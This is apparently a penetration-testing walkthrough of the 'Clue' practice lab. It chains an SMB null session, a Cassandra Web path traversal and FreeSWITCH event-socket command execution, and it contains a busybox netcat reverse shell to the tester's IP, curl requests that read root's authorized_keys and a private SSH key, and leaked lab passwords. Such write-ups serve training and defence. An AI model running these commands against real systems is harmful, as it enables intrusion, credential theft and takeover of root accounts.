the_open_door
coffee
ESEN

Clue

Proving Grounds PracticeHardLinux192.168.142.240

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#cassandra-web#freeswitch#rfi#lfi#path-traversal#smb#null-session#credential-disclosure#password-reuse#sudo#ssh-keys#oscp
TL;DR. Clue leaks a copy of the FreeSWITCH and Cassandra configuration over SMB (null session). On port 3000 runs Cassandra Web 0.5.0, vulnerable to arbitrary file read via path traversal (RFI/LFI); with that RFI we read event_socket.conf.xml and obtain the real FreeSWITCH password (StrongClueConEight021), whose mod_event_socket allows command execution (credentials in config) and gives a shell as freeswitch. The same RFI over /proc/self/cmdline reveals cassie's credentials (SecondBiteTheApple330), reusable via su (reuse). To escalate, cassie can run cassandra-web as root via sudo: we relaunch it as root and abuse its path traversal to read anthony's private SSH key (authorized in root's authorized_keys), which logs us in as root.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.

ping -c 1 192.168.142.240
64 bytes from 192.168.142.240: icmp_seq=1 ttl=61 time=29.5 ms

We sweep all TCP ports and fingerprint versions on the open ones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.142.240
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  netbios-ssn
3000/tcp open  http
8021/tcp open  freeswitch-event
nmap -p22,80,139,445,3000,8021 -sCV 192.168.142.240 -oN targetedScan
PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http             Apache httpd 2.4.38  (403 Forbidden)
139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open  http             Thin httpd  (Cassandra Web)
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket

Four fronts: an anonymous SMB, a Cassandra Web on 3000, FreeSWITCH (VoIP PBX) on 8021 with its event socket, and an Apache returning 403. The SMB + Cassandra + FreeSWITCH combination sets the machine's script.

SMB - TCP 445

With a null session we enumerate the shares: backup is readable.

netexec smb 192.168.142.240 -u '' -p '' --shares
smbclient //192.168.142.240/backup
Share           Permissions     Remark
-----           -----------     ------
print$                          Printer Drivers
backup          READ            Backup web directory shares
IPC$                            IPC Service (Samba 4.9.5-Debian)

Inside are two folders, freeswitch and cassandra, with binaries and configuration files. We download them whole to review later:

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

They're a copy of both services' configuration; they'll be the lead for the passwords.

Cassandra Web - TCP 3000

Port 3000 serves Cassandra Web, a panel for the Cassandra database (here 3.11.13):

Cassandra Web panel on port 3000 showing Cluster Status, hosts and keyspaces of Cassandra 3.11.13

Cassandra Web
Cluster Status
  Hosts
  Datacenter: datacenter1
  ip          id                                      rack    version   status
  127.0.0.1   39c6f1e3-d798-44ce-b216-ce0f664fc0af    rack1   3.11.13   up

  Keyspaces
  system_auth        CREATE KEYSPACE system_auth WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '1'} AND durable_writes = true;
  system_schema      CREATE KEYSPACE system_schema WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
  system_distributed CREATE KEYSPACE system_distributed WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '3'} AND durable_writes = true;
  system             CREATE KEYSPACE system WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
  system_traces      CREATE KEYSPACE system_traces WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '2'} AND durable_writes = true;

The panel asks for no credentials and already hands over what matters: the node's 3.11.13 version and the five system keyspaces. That version is what opens the next step.

searchsploit finds a file read for this version:

searchsploit 'cassandra'
searchsploit -m linux/webapps/49362.py
Cassandra Web 0.5.0 - Remote File Read  |  linux/webapps/49362.py

File read (RFI)

Cassandra Web 0.5.0: arbitrary read via path traversal

The 49362.py exploit abuses the fact that Cassandra Web builds the resource path by prefixing repeated ../ (in the code, DT='../' and DT_NUM=8) without sanitizing, which allows reading any file on the system (path traversal). The DT_NUM=8 isn't magic: the exploit prepends the ../ sequence eight times, more than enough to climb from the application's working directory up to the root /. Overshooting levels breaks nothing, because on a filesystem /.. is still /: eight is simply a number high enough to guarantee reaching the root without knowing the exact depth the service runs from.

cassandra-web 0.5.0 source in nano: DT='../', DT_NUM=8 and the payload urllib.parse.quote_plus(DT*number+file)

In the code itself (/var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public) you can see the root of the flaw: DT = '../', DT_NUM = 8 and the payload = urllib.parse.quote_plus(DT * self.number + self.file), which concatenates the requested path without sanitizing.

python3 rfi.py -p 3000 192.168.142.240 /etc/passwd | grep bash

Reading /etc/passwd through Cassandra Web's RFI, showing the accounts with a shell

root:x:0:0:root:/root:/bin/bash
cassie:x:1000:1000::/home/cassie:/bin/bash
anthony:x:1001:1001::/home/anthony:/bin/bash

Three accounts with a shell: root, cassie and anthony.

We have arbitrary read, but we don't yet know which specific file gives the next step. We try /proc/self/cmdline to see how the service itself is running:

python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline

Reading /proc/self/cmdline via the RFI, revealing the Cassandra Web process command line

/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330

The command line (with null bytes as separators) already exposes the user cassie and its password SecondBiteTheApple330; we'll return to them after pivoting through FreeSWITCH.

Before squeezing the RFI, we look at the other exposed service: FreeSWITCH.

Shell as freeswitch

FreeSWITCH: real password via RFI and RCE

FreeSWITCH's mod_event_socket allows running commands if you know the socket password. The public exploit ships the default password, ClueCon, but it fails:

searchsploit -m windows/remote/47799.txt   # -> rce.py
python3 rce.py 192.168.142.240 'whoami'
Authentication failed

The password has changed. Since we have the FreeSWITCH files from SMB (and, better still, arbitrary read via RFI), we look for where it's defined. The SMB copy turns out to be out of date, so we read the server's live file via RFI, event_socket.conf.xml, which holds the real password:

python3 rfi.py -p 3000 192.168.142.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml
<param name="password" value="StrongClueConEight021"/>

That's the event socket password (credentials in config). We put it in the exploit and confirm execution:

# in rce.py:  PASSWORD='StrongClueConEight021'
python3 rce.py 192.168.142.240 'whoami'
python3 rce.py 192.168.142.240 'id'

rce.py against FreeSWITCH returning Authenticated and the output of whoami (freeswitch) and id (uid=998)

freeswitch
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)

Before triggering the shell, we set up an nc listener:

nc -nlvp 80

We run as freeswitch. We fire a reverse shell with busybox netcat:

python3 rce.py 192.168.142.240 'busybox nc 192.168.45.227 80 -e /bin/bash'

Reverse shell received as freeswitch@clue after the FreeSWITCH RCE

freeswitch@clue:/$ whoami && ip a
freeswitch
...
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
    inet 192.168.142.240/24 brd 192.168.142.255 scope global ens192
freeswitch@clue:/$

The shell lands as freeswitch on host clue (192.168.142.240).

We read the first proof:

cat /var/lib/freeswitch/local.txt && whoami && ip a && hostname

local.txt read as freeswitch on clue, with IP 192.168.142.240 and hostname clue

de1dd063238f052a23ddf2610de15bc5

Shell as cassie

Credential reuse (proc/cmdline)

Back to the Cassandra Web RFI over /proc/self/cmdline: the process command line reveals that cassandra-web was started with a username and password in cleartext:

python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline

RFI over /proc/self/cmdline showing cassandra-web -u cassie -p SecondBiteTheApple330

/usr/bin/ruby2.5 /usr/local/bin/cassandra-web -u cassie -p SecondBiteTheApple330

cassie's password (reuse) works to switch user from the freeswitch shell:

su cassie    # SecondBiteTheApple330

su cassie with the leaked password; whoami returns cassie

freeswitch@clue:/home/cassie$ su cassie
Password:
cassie@clue:~$ whoami
cassie

We are now cassie.

Privilege escalation

sudo cassandra-web: path traversal to root's SSH key

We check cassie's sudo:

sudo -l
User cassie may run the following commands on clue:
    (ALL) NOPASSWD: /usr/local/bin/cassandra-web

She can run cassandra-web as root (sudo abuse). The idea: relaunch the panel itself as root on another port and reuse its path traversal, which will now read files with root privileges. We start it on 1337 with cassie's credentials:

sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330 &
curl localhost:1337 | grep cassandra

With that instance (running as root) we abuse the path traversal to read restricted files. We could now read any file on disk, so it's worth choosing deliberately instead of going blind: the goal is a direct way into root, and the file that gives it fastest is root's authorized_keys, because it tells us which public key already has permission to log in as root without guessing anything. We start there:

curl localhost:1337/../../../../../../../../../root/.ssh/authorized_keys --path-as-is

Reading /root/.ssh/authorized_keys via cassandra-web's path traversal, with the key ending in anthony@clue

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDn2IL7JIn0X/FanxBWS8G9racIWKRnRVPuGSG0DG6NFGoq0Esol53X0<SNIP>Ap9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+H anthony@clue

The authorized key belongs to anthony@clue. If we read anthony's private key, we can authenticate as root (because his public key is in root's authorized_keys). We read /home/anthony/.ssh/id_rsa:

Reading /home/anthony/.ssh/id_rsa via the path traversal, showing the full RSA private key

We save the key and log in over SSH as root:

curl localhost:1337/../../../../../../../../../home/anthony/.ssh/id_rsa --path-as-is > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@localhost

ssh -i id_rsa root@localhost from clue: session as root@clue (Debian 4.19) and whoami root

% Total    % Received % Xferd
100  1823  100  1823    0     0   445k      0
cassie@clue:~$ ssh -i id_rsa root@localhost
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
...
Last login: Tue Jan  6 12:47:04 2026 from 192.168.45.227
root@clue:~# whoami
root

anthony's private key authenticates as root (his public key was in root's authorized_keys).

We read the final proof:

cat /root/proof_youtriedharder.txt && whoami && ip a && hostname

proof_youtriedharder.txt read as root on clue, with whoami root and hostname clue

9f5f2facf3d5339e31f057c79200eefd

Attack chain

SMB null session (445)  ->  copy of FreeSWITCH/Cassandra config
Cassandra Web 0.5.0 (3000)  --  path traversal (RFI, 49362.py)
        │  read event_socket.conf.xml  ->  FreeSWITCH pass StrongClueConEight021
        ▼
FreeSWITCH mod_event_socket (8021)  --  RCE (rce.py)
        │  busybox nc -> reverse shell
        ▼
shell as freeswitch  (local.txt)
        │  RFI /proc/self/cmdline  ->  cassie:SecondBiteTheApple330  ->  su
        ▼
shell as cassie
        │  sudo -u root cassandra-web -B 0.0.0.0:1337  (path traversal as root)
        │  read /root/.ssh/authorized_keys (anthony@clue)  ->  /home/anthony/.ssh/id_rsa
        │  ssh -i id_rsa root@localhost
        ▼
shell as root  (proof_youtriedharder.txt)

Lessons learned

  • Exposed backups are intelligence. The anonymous SMB handed over the FreeSWITCH and Cassandra config. Even though the copy was stale (the real password had changed), it revealed the structure and the files to look for later with the RFI.
  • A read path traversal chains the whole box. The same Cassandra Web flaw served three times: reading the FreeSWITCH password, reading /proc/self/cmdline (cassie's credentials) and, already as root, reading anthony's SSH key. Reading arbitrary files is almost never "just reading".
  • Credentials on the command line are visible to everyone. Starting cassandra-web with -p SecondBiteTheApple330 leaves the password in /proc/<pid>/cmdline. Pass secrets via a file or a protected environment variable, never as an argument.
  • A sudo binary that can read files as root is a wildcard. Relaunching the panel as root turned an unprivileged path traversal into full disk read, enough to steal an SSH key and jump to root.
Command cheatsheet 13 commands

Quick review